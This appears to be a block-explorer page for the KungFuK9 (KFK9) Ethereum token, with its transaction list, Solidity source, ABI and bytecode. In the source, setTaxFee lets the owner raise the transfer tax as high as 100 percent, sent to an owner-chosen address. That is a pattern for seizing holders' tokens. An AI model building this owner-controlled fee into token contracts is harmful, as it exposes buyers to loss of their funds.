Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 30 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 20641705 | 553 days ago | IN | 0 ETH | 0.00011377 | ||||
| Approve | 20641613 | 553 days ago | IN | 0 ETH | 0.00009476 | ||||
| Transfer From | 20538870 | 567 days ago | IN | 0 ETH | 0.00006437 | ||||
| Transfer | 20538449 | 567 days ago | IN | 0 ETH | 0.00005097 | ||||
| Transfer | 20538445 | 567 days ago | IN | 0 ETH | 0.00004686 | ||||
| Transfer | 20535712 | 568 days ago | IN | 0 ETH | 0.00077656 | ||||
| Transfer | 20535686 | 568 days ago | IN | 0 ETH | 0.00051518 | ||||
| Transfer | 20535677 | 568 days ago | IN | 0 ETH | 0.00038272 | ||||
| Transfer | 20535664 | 568 days ago | IN | 0 ETH | 0.00036627 | ||||
| Transfer | 20535652 | 568 days ago | IN | 0 ETH | 0.00037376 | ||||
| Set Tax Fee | 20535622 | 568 days ago | IN | 0 ETH | 0.00020101 | ||||
| Transfer | 20535610 | 568 days ago | IN | 0 ETH | 0.0004297 | ||||
| Transfer | 20535595 | 568 days ago | IN | 0 ETH | 0.00052056 | ||||
| Transfer | 20435939 | 582 days ago | IN | 0 ETH | 0.00066098 | ||||
| Transfer | 20147884 | 622 days ago | IN | 0 ETH | 0.00027498 | ||||
| Transfer | 20143563 | 622 days ago | IN | 0 ETH | 0.000199 | ||||
| Transfer | 20095139 | 629 days ago | IN | 0 ETH | 0.00028106 | ||||
| Transfer | 20095131 | 629 days ago | IN | 0 ETH | 0.00020098 | ||||
| Transfer | 20095087 | 629 days ago | IN | 0 ETH | 0.00033848 | ||||
| Transfer | 20095079 | 629 days ago | IN | 0 ETH | 0.00023824 | ||||
| Transfer | 20095071 | 629 days ago | IN | 0 ETH | 0.00038023 | ||||
| Transfer | 20095063 | 629 days ago | IN | 0 ETH | 0.00035395 | ||||
| Transfer | 20072551 | 632 days ago | IN | 0 ETH | 0.00043739 | ||||
| Transfer | 20072513 | 632 days ago | IN | 0 ETH | 0.00054485 | ||||
| Transfer | 20072460 | 632 days ago | IN | 0 ETH | 0.00037832 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
KungFuK9
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT and KFK9-Labs
pragma solidity 0.8.17;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract KungFuK9 is Context, IERC20, Ownable, ReentrancyGuard {
using SafeMath for uint256;
string public constant url = "https://kfk9-coin.io";
string private _name = "KungFu-K9";
string private _symbol = "KFK9";
uint8 private _decimals = 18;
uint256 private _totalSupply = 314159265358 * (10 ** uint256(_decimals));
uint256 public taxFee = 2; // 2% tax fee
address public taxRecipient = 0x720d009b941005AA622D30d259c6F250DFED3Ba1; // Updated tax recipient address
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor() Ownable() ReentrancyGuard() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override nonReentrant returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override nonReentrant returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override nonReentrant returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance.sub(amount));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 fee = amount.mul(taxFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amountAfterFee);
_balances[taxRecipient] = _balances[taxRecipient].add(fee);
emit Transfer(sender, recipient, amountAfterFee);
emit Transfer(sender, taxRecipient, fee);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxFee(uint256 fee) external onlyOwner {
require(fee >= 0 && fee <= 100, "Tax fee must be between 0 and 100");
taxFee = fee;
}
function setTaxRecipient(address recipient) external onlyOwner {
require(recipient != address(0), "Tax recipient cannot be the zero address");
taxRecipient = recipient;
}
// Function to check balance of any address
function checkBalance(address account) external view returns (uint256) {
return _balances[account];
}
// Function to transfer tokens to an external address, only callable by the owner
function transferToAddress(address recipient, uint256 amount) external onlyOwner nonReentrant {
require(recipient != address(0), "Cannot transfer to the zero address");
require(amount <= _balances[owner()], "Transfer amount exceeds balance");
_balances[owner()] = _balances[owner()].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(owner(), recipient, amount);
}
// Function to burn tokens, only callable by the owner
function burn(uint256 amount) external onlyOwner nonReentrant {
require(amount <= _balances[owner()], "Burn amount exceeds balance");
_balances[owner()] = _balances[owner()].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(owner(), address(0), amount);
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _nonReentrantAfter() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
/**
* @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
* `nonReentrant` function in the call stack.
*/
function _reentrancyGuardEntered() internal view returns (bool) {
return _status == _ENTERED;
}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"checkBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"setTaxRecipient","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxRecipient","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferToAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"url","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]Contract Creation Code
60806040526040518060400160405280600981526020017f4b756e6746752d4b390000000000000000000000000000000000000000000000815250600290816200004a919062000555565b506040518060400160405280600481526020017f4b464b39000000000000000000000000000000000000000000000000000000008152506003908162000091919062000555565b506012600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff1660ff16600a620000cf9190620007bf565b64492559f64e620000e1919062000810565b600555600260065573720d009b941005aa622d30d259c6f250dfed3ba1600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200014b57600080fd5b506200015c620002d360201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360018081905550600554600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620002c591906200086c565b60405180910390a362000889565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200035d57607f821691505b60208210810362000373576200037262000315565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003dd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039e565b620003e986836200039e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000436620004306200042a8462000401565b6200040b565b62000401565b9050919050565b6000819050919050565b620004528362000415565b6200046a62000461826200043d565b848454620003ab565b825550505050565b600090565b6200048162000472565b6200048e81848462000447565b505050565b5b81811015620004b657620004aa60008262000477565b60018101905062000494565b5050565b601f8211156200050557620004cf8162000379565b620004da846200038e565b81016020851015620004ea578190505b62000502620004f9856200038e565b83018262000493565b50505b505050565b600082821c905092915050565b60006200052a600019846008026200050a565b1980831691505092915050565b600062000545838362000517565b9150826002028217905092915050565b6200056082620002db565b67ffffffffffffffff8111156200057c576200057b620002e6565b5b62000588825462000344565b62000595828285620004ba565b600060209050601f831160018114620005cd5760008415620005b8578287015190505b620005c4858262000537565b86555062000634565b601f198416620005dd8662000379565b60005b828110156200060757848901518255600182019150602085019450602081019050620005e0565b8683101562000627578489015162000623601f89168262000517565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006ca57808604811115620006a257620006a16200063c565b5b6001851615620006b25780820291505b8081029050620006c2856200066b565b945062000682565b94509492505050565b600082620006e55760019050620007b8565b81620006f55760009050620007b8565b81600181146200070e576002811462000719576200074f565b6001915050620007b8565b60ff8411156200072e576200072d6200063c565b5b8360020a9150848211156200074857620007476200063c565b5b50620007b8565b5060208310610133831016604e8410600b8410161715620007895782820a9050838111156200078357620007826200063c565b5b620007b8565b62000798848484600162000678565b92509050818404811115620007b257620007b16200063c565b5b81810290505b9392505050565b6000620007cc8262000401565b9150620007d98362000401565b9250620008087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006d3565b905092915050565b60006200081d8262000401565b91506200082a8362000401565b92508282026200083a8162000401565b915082820484148315176200085457620008536200063c565b5b5092915050565b620008668162000401565b82525050565b60006020820190506200088360008301846200085b565b92915050565b61262f80620008996000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a071dcf411610071578063a071dcf4146102fa578063a9059cbb14610318578063acef603714610348578063c4081a4c14610364578063dd62ed3e1461038057610121565b8063715018a61461027a578063737ea06e1461028457806378e3079e146102a25780638da5cb5b146102be57806395d89b41146102dc57610121565b8063313ce567116100f4578063313ce567146101c257806342966c68146101e05780635600f04f146101fc5780635f5152261461021a57806370a082311461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103b0565b60405161013b91906119a1565b60405180910390f35b61015e60048036038101906101599190611a5c565b610442565b60405161016b9190611ab7565b60405180910390f35b61017c610470565b6040516101899190611ae1565b60405180910390f35b6101ac60048036038101906101a79190611afc565b61047a565b6040516101b99190611ab7565b60405180910390f35b6101ca610592565b6040516101d79190611b6b565b60405180910390f35b6101fa60048036038101906101f59190611b86565b6105a9565b005b610204610805565b60405161021191906119a1565b60405180910390f35b610234600480360381019061022f9190611bb3565b61083e565b6040516102419190611ae1565b60405180910390f35b610264600480360381019061025f9190611bb3565b610887565b6040516102719190611ae1565b60405180910390f35b6102826108d0565b005b61028c610a23565b6040516102999190611bef565b60405180910390f35b6102bc60048036038101906102b79190611bb3565b610a49565b005b6102c6610b91565b6040516102d39190611bef565b60405180910390f35b6102e4610bba565b6040516102f191906119a1565b60405180910390f35b610302610c4c565b60405161030f9190611ae1565b60405180910390f35b610332600480360381019061032d9190611a5c565b610c52565b60405161033f9190611ab7565b60405180910390f35b610362600480360381019061035d9190611a5c565b610c80565b005b61037e60048036038101906103799190611b86565b610fc5565b005b61039a60048036038101906103959190611c0a565b6110b5565b6040516103a79190611ae1565b60405180910390f35b6060600280546103bf90611c79565b80601f01602080910402602001604051908101604052809291908181526020018280546103eb90611c79565b80156104385780601f1061040d57610100808354040283529160200191610438565b820191906000526020600020905b81548152906001019060200180831161041b57829003601f168201915b5050505050905090565b600061044c61113c565b61045e61045761118b565b8484611193565b6001905061046a61135c565b92915050565b6000600554905090565b600061048461113c565b61048f848484611365565b6000600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104da61118b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561055a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055190611d1c565b60405180910390fd5b61057e8561056661118b565b610579868561177c90919063ffffffff16565b611193565b600191505061058b61135c565b9392505050565b6000600460009054906101000a900460ff16905090565b6105b161118b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063590611d88565b60405180910390fd5b61064661113c565b60086000610652610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156106cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c690611df4565b60405180910390fd5b61072881600860006106df610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177c90919063ffffffff16565b60086000610734610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107878160055461177c90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff166107ad610b91565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107f29190611ae1565b60405180910390a361080261135c565b50565b6040518060400160405280601481526020017f68747470733a2f2f6b666b392d636f696e2e696f00000000000000000000000081525081565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108d861118b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095c90611d88565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a5161118b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad590611d88565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4490611e86565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610bc990611c79565b80601f0160208091040260200160405190810160405280929190818152602001828054610bf590611c79565b8015610c425780601f10610c1757610100808354040283529160200191610c42565b820191906000526020600020905b815481529060010190602001808311610c2557829003601f168201915b5050505050905090565b60065481565b6000610c5c61113c565b610c6e610c6761118b565b8484611365565b60019050610c7a61135c565b92915050565b610c8861118b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c90611d88565b60405180910390fd5b610d1d61113c565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8390611f18565b60405180910390fd5b60086000610d98610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0c90611f84565b60405180910390fd5b610e6e8160086000610e25610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177c90919063ffffffff16565b60086000610e7a610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f0a81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117db90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16610f6c610b91565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fb19190611ae1565b60405180910390a3610fc161135c565b5050565b610fcd61118b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461105a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105190611d88565b60405180910390fd5b6000811015801561106c575060648111155b6110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290612016565b60405180910390fd5b8060068190555050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260015403611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612082565b60405180910390fd5b6002600181905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f990612114565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611271576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611268906121a6565b60405180910390fd5b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161134f9190611ae1565b60405180910390a3505050565b60018081905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90612238565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143a906122ca565b60405180910390fd5b600061146d606461145f6006548561183990919063ffffffff16565b6118b390919063ffffffff16565b90506000611484828461177c90919063ffffffff16565b90506114d883600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177c90919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156d81600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117db90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116248260086000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117db90919063ffffffff16565b60086000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e69190611ae1565b60405180910390a3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161176d9190611ae1565b60405180910390a35050505050565b6000828211156117c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b890612336565b60405180910390fd5b600082846117cf9190612385565b90508091505092915050565b60008082846117ea91906123b9565b90508381101561182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690612439565b60405180910390fd5b8091505092915050565b600080830361184b57600090506118ad565b600082846118599190612459565b905082848261186891906124ca565b146118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f9061256d565b60405180910390fd5b809150505b92915050565b60008082116118f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ee906125d9565b60405180910390fd5b6000828461190591906124ca565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561194b578082015181840152602081019050611930565b60008484015250505050565b6000601f19601f8301169050919050565b600061197382611911565b61197d818561191c565b935061198d81856020860161192d565b61199681611957565b840191505092915050565b600060208201905081810360008301526119bb8184611968565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119f3826119c8565b9050919050565b611a03816119e8565b8114611a0e57600080fd5b50565b600081359050611a20816119fa565b92915050565b6000819050919050565b611a3981611a26565b8114611a4457600080fd5b50565b600081359050611a5681611a30565b92915050565b60008060408385031215611a7357611a726119c3565b5b6000611a8185828601611a11565b9250506020611a9285828601611a47565b9150509250929050565b60008115159050919050565b611ab181611a9c565b82525050565b6000602082019050611acc6000830184611aa8565b92915050565b611adb81611a26565b82525050565b6000602082019050611af66000830184611ad2565b92915050565b600080600060608486031215611b1557611b146119c3565b5b6000611b2386828701611a11565b9350506020611b3486828701611a11565b9250506040611b4586828701611a47565b9150509250925092